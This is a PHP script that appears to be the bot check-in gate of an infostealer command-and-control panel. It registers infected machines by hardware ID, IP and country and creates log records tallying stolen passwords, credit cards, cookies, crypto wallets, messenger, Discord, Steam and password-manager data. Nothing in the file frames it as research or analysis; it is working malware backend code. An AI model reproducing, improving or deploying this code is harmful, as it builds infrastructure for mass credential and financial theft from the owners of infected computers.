<?php
//error_reporting(0);
include("config.php");

// Debug log
file_put_contents("gate_debug.log", date('Y-m-d H:i:s') . " Request received\n", FILE_APPEND);

// Capture raw POST data in case $_POST is empty
$raw_data = file_get_contents('php://input');
file_put_contents("gate_debug.log", "Raw data length: " . strlen($raw_data) . " bytes\n", FILE_APPEND);

// Fetch settings once
$settings_query = mysqli_query($condb, "SELECT * FROM `settings` LIMIT 1");
$settings = mysqli_fetch_array($settings_query);
$default_username = isset($settings['username']) ? $settings['username'] : 'admin';
$email_notifications_enabled = isset($settings['stats']) ? $settings['stats'] == 1 : false;
$notification_email = isset($settings['email']) ? $settings['email'] : '';

// IMPROVED HANDLING OF USERNAME
// First try standard POST
$username = isset($_POST['username']) ? $_POST['username'] : null;

// If not found in $_POST, try to parse from raw data
if ($username === null && !empty($raw_data)) {
    // Try URL-encoded format (common for .NET's NameValueCollection)
    if (strpos($raw_data, 'username=') !== false) {
        $parsed = array();
        parse_str($raw_data, $parsed);
        if (isset($parsed['username'])) {
            $username = $parsed['username'];
            file_put_contents("gate_debug.log", "Username found in raw data: " . $username . "\n", FILE_APPEND);
        }
    }
}

// If still not found, try GET or default
if ($username === null) {
    $username = isset($_GET['username']) ? $_GET['username'] : $default_username;
}

file_put_contents("gate_debug.log", "Final username: " . $username . "\n", FILE_APPEND);

// Handle HWID similarly
$hwid = isset($_POST['hwid']) ? $_POST['hwid'] : null;
if ($hwid === null && !empty($raw_data)) {
    if (strpos($raw_data, 'hwid=') !== false) {
        $parsed = array();
        parse_str($raw_data, $parsed);
        if (isset($parsed['hwid'])) {
            $hwid = $parsed['hwid'];
        }
    }
}
if ($hwid === null) {
    $hwid = isset($_GET['hwid']) ? $_GET['hwid'] : '';
}

file_put_contents("gate_debug.log", "HWID: " . $hwid . "\n", FILE_APPEND);

$d = date('Y/m/d h:i:s a', time());

// Get IP and country
$ip = $_SERVER['REMOTE_ADDR'];
$loc = json_decode(file_get_contents('http://ip-api.com/json/'.$ip), true);
$c = $loc['countryCode'];

if(!empty($hwid)){
    // Check if bot exists - USING PREPARED STATEMENT
    $sql_std = "SELECT * FROM `bot` WHERE HWID = ?";
    $stmt = mysqli_prepare($condb, $sql_std);
    mysqli_stmt_bind_param($stmt, "s", $hwid);
    mysqli_stmt_execute($stmt);
    $result = mysqli_stmt_get_result($stmt);
    $count_std = mysqli_num_rows($result);
    mysqli_stmt_close($stmt);
	 
    // Check if log exists - USING PREPARED STATEMENT
    $log_check = "SELECT * FROM `logs` WHERE hwid = ?";
    $stmt = mysqli_prepare($condb, $log_check);
    mysqli_stmt_bind_param($stmt, "s", $hwid);
    mysqli_stmt_execute($stmt);
    $log_result = mysqli_stmt_get_result($stmt);
    $log_exists = mysqli_num_rows($log_result) > 0;
    mysqli_stmt_close($stmt);
	     
    if($count_std == 0){
        // Insert new bot - USING PREPARED STATEMENT
        $bot_insert = "INSERT INTO `bot` (`IP`, `HWID`, `Date_Time`, `Country`) VALUES (?, ?, ?, ?)";
        $stmt = mysqli_prepare($condb, $bot_insert);
        mysqli_stmt_bind_param($stmt, "ssss", $ip, $hwid, $d, $c);
        mysqli_stmt_execute($stmt);
        mysqli_stmt_close($stmt);
        
        // Always create log entry - USING PREPARED STATEMENT
        if (!$log_exists) {
            $log_insert = "INSERT INTO `logs` (
                `hwid`, 
                `username`,
                `IP`, 
                `Country`, 
                `Passwords`,
                `CreditCards`,
                `Cookies`,
                `AutoFill`,
                `Wallets`,
                `VPN`,
                `Telegram`,
                `Steam`,
                `Gaming`,
                `OtherMessengers`,
                `Discord`,
                `DevTools`,
                `EmailClients`,
                `PasswordManagers`,
                `RemoteAccess`,
                `CloudStorage`,
                `BrowserExtended`,
                `last_updated`
            ) VALUES (
                ?, ?, ?, ?, 
                0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
                ?
            )";
            $stmt = mysqli_prepare($condb, $log_insert);
            mysqli_stmt_bind_param($stmt, "sssss", $hwid, $username, $ip, $c, $d);
            $success = mysqli_stmt_execute($stmt);
            
            file_put_contents("gate_debug.log", "Log insert result: " . ($success ? "Success" : "Failed") . "\n", FILE_APPEND);
            if (!$success) {
                file_put_contents("gate_debug.log", "Error: " . mysqli_stmt_error($stmt) . "\n", FILE_APPEND);
            }
            
            mysqli_stmt_close($stmt);
        }
    } else {
        // Update existing bot records
        $bot_update = "UPDATE `bot` SET `Date_Time` = ?, `IP` = ?, `Country` = ? WHERE `HWID` = ?";
        $stmt = mysqli_prepare($condb, $bot_update);
        mysqli_stmt_bind_param($stmt, "ssss", $d, $ip, $c, $hwid);
        mysqli_stmt_execute($stmt);
        mysqli_stmt_close($stmt);
        
        if ($log_exists) {
            $log_update = "UPDATE `logs` SET `IP` = ?, `Country` = ?, `username` = ?, `last_updated` = ? WHERE `hwid` = ?";
            $stmt = mysqli_prepare($condb, $log_update);
            mysqli_stmt_bind_param($stmt, "sssss", $ip, $c, $username, $d, $hwid);
            $success = mysqli_stmt_execute($stmt);
            
            file_put_contents("gate_debug.log", "Log update result: " . ($success ? "Success" : "Failed") . "\n", FILE_APPEND);
            if (!$success) {
                file_put_contents("gate_debug.log", "Error: " . mysqli_stmt_error($stmt) . "\n", FILE_APPEND);
            }
            
            mysqli_stmt_close($stmt);
        } else {
            // Create log entry if it doesn't exist
            $log_insert = "INSERT INTO `logs` (
                `hwid`,
                `username`, 
                `IP`, 
                `Country`, 
                `Passwords`,
                `CreditCards`,
                `Cookies`,
                `AutoFill`,
                `Wallets`,
                `VPN`,
                `Telegram`,
                `Steam`,
                `Gaming`,
                `OtherMessengers`,
                `Discord`,
                `DevTools`,
                `EmailClients`,
                `PasswordManagers`,
                `RemoteAccess`,
                `CloudStorage`,
                `BrowserExtended`,
                `last_updated`
            ) VALUES (
                ?, ?, ?, ?, 
                0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
                ?
            )";
            $stmt = mysqli_prepare($condb, $log_insert);
            mysqli_stmt_bind_param($stmt, "sssss", $hwid, $username, $ip, $c, $d);
            $success = mysqli_stmt_execute($stmt);
            
            file_put_contents("gate_debug.log", "Log insert result: " . ($success ? "Success" : "Failed") . "\n", FILE_APPEND);
            if (!$success) {
                file_put_contents("gate_debug.log", "Error: " . mysqli_stmt_error($stmt) . "\n", FILE_APPEND);
            }
            
            mysqli_stmt_close($stmt);
        }
    }
}

// Return an OK response
echo "OK";
?> 